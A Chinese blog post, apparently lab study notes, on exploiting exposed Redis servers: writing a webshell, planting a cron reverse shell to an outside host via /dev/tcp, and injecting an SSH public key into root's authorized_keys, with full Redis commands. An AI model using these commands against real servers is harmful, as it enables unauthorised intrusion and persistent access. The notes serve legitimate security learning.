作者: 村里的小四 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x01 前言
以前只知道redis有未授权访问,redis未授权访问的利用看文章,但自己没有亲手做过,最近接触了一个postgresql的远程命令执行漏洞,我在数据库漏洞利用这块不熟悉,信安之路最近开了数据库的课程,在此记录数据库靶场演练的学习,并分享给大家。
0x02 数据库的安装
2.1 redis安装
下载地址: https://github.com/microsoftarchive/redis/releases/tag/win-3.0.504
windows选择这个 去这个目录下改下服务端配置文件 找到含有requirepass字样的地方,追加一行,输入requirepass 12345。这是访问Redis时所需的密码,一般测试情况下可以不用设定密码。不过,即使是作为本地访问,也建议设定一个密码。此处以简单的12345来演示。
踩坑点:requirepass 前面不能有空格,要不然redis服务启动不成功
点击“开始”>右击“计算机”>选择“管理”。在左侧栏中依次找到并点击“计算机管理(本地)”>服务和应用程序>服务。再在右侧找到Redis名称的服务,查看启动情况。如未启动,则手动启动之。正常情况下,服务应该正常启动并运行了。 CMD下输入redis-cli并回车。(redis-cli是客户端程序)如图正常提示进入,并显示正确端口号,则表示服务已经启动。
2.2 redis的利用
2.2.1 未授权访问
info就能读出敏感信息,接下来就可以进一步的攻击利用
2.2.2 给指定的目录写shell
前提条件:
1 redis未授权或者弱口令登录进redis,并可以执行redis指令
2 开了 web 服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,则我们就可以写入一个路径为 a/b 的任意文件。) 注意写入 webshell 的时候在一句话两边加上 /r/n 的换行符,因为用 redis 写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
2.3 利用redis特性反弹shell
反弹 shell 还是要根据实际情况来,比如 ubuntu 和 centos 反弹的命令会有区别, 一般是因为 sh 软链接指向的是 dash 还是 bash,一般反弹 shell 是 bash, 而 dash 的 shell 只有运行脚本的能力没有交互能力所以反弹 ubuntu 的shell 可能需要换脚本。
服务器监听端口
nc -lvvp 88
redis 写入反弹 shell 的计划任务
每分钟反弹一次 shell
127.0.0.1:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/1.1.1.1/88 0>&1\n\r\n\r"
OK
127.0.0.1:6379> config set dir /var/spool/cron
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
测试了很多目标,其中有两个虽然所有命令都执行成功了,但是无法反弹 shell,可能是因为无法出网、或者被安全系统拦截,都是有可能的,在实际的渗透中,目标所处环境和安全防护的策略都会影响实际的测试,此漏洞不常见。
这一步我没执行,因为我反弹shell没成功
最后利用反弹的 shell,清理掉设置的计划任务:echo “” > /var/spool/cron/root
2.4 利用redis特性获取SSH权限
当 redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录目标服务器。
生成ssh私钥
ssh-keygen -t rsa
将新生成的 id_rsa 保存在 redis.txt 文件中
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > redis.txt
cat redis.txt
复制 redis.txt 中的内容,执行下面的命令:
127.0.0.1:6379> flushall
OK
127.0.0.1:6379> set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set crack "\r\n\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiNX9dwVqZwSaZXrKurMM7PKgi9q4oSUDrI5QpG+AaDEptvPEGo1fAUsvusm6SzgAKTd/cONBMXOt1dDrEFyljKcXjPs5Eavge40fUJIh/VtvT0+oY7o4GelNyr9vUYR/cxZnhPxlMfw0KJE7Jx8ZS7EACs3+s9xR8FjullAdk9STHSQ0Yk7FVMNzLVsdKMs1VACFCU88GNLxpCP96ZWy/5UmUD86wjwWoxNCVUnJADluDQWdt2HggkoUwbUWWdRJ2rXIEgRERz4cmwKSSDJ7DWcjWTqg9f2m2nJMMfIqc+I3Q4HqBevZawWMs/XJsGECL6xzIloEdvC6/stpSACFR9PlSrBIysLITFasbgUmByCykeuM+yocLMDn5EkE9e8UH99u6QRkNCqFyaCksKBX79mQChlj4YiKsIYBr3qRO6m7p4JujcjLGG/bOanmT+c8svtUVfqtoOgMy8y6uk6SSLuzUYrYDrH3y7voFaDzqjX0sxIxGUjjS45GFaExY7qM= root@vulhub
\r\n\r\n"
OK
127.0.0.1:6379> save
OK
查看结果已经导入了 虚拟机遇到了ssh服务没开启,又弄了一通,linux基础不扎实,很多命令都一知半解。
遇到了这个问题,说我的密钥错误,可明明已经写进去了。 接下来再继续在靶场看看是怎么回事,下期带来其他数据库漏洞的靶场练习。
0x03 总结
数据库的利用一般在攻防演练中会用到,渗透测试中基本遇不到这种情况,知识总是有用的,技术到用时方恨少,下期带来其他数据库的漏洞靶场练习。
参考资料:
https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
0x04 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!! 欢迎关注我们的安全公众号,学习更多安全知识!!! 欢迎关注我们的安全公众号,学习更多安全知识!!!
|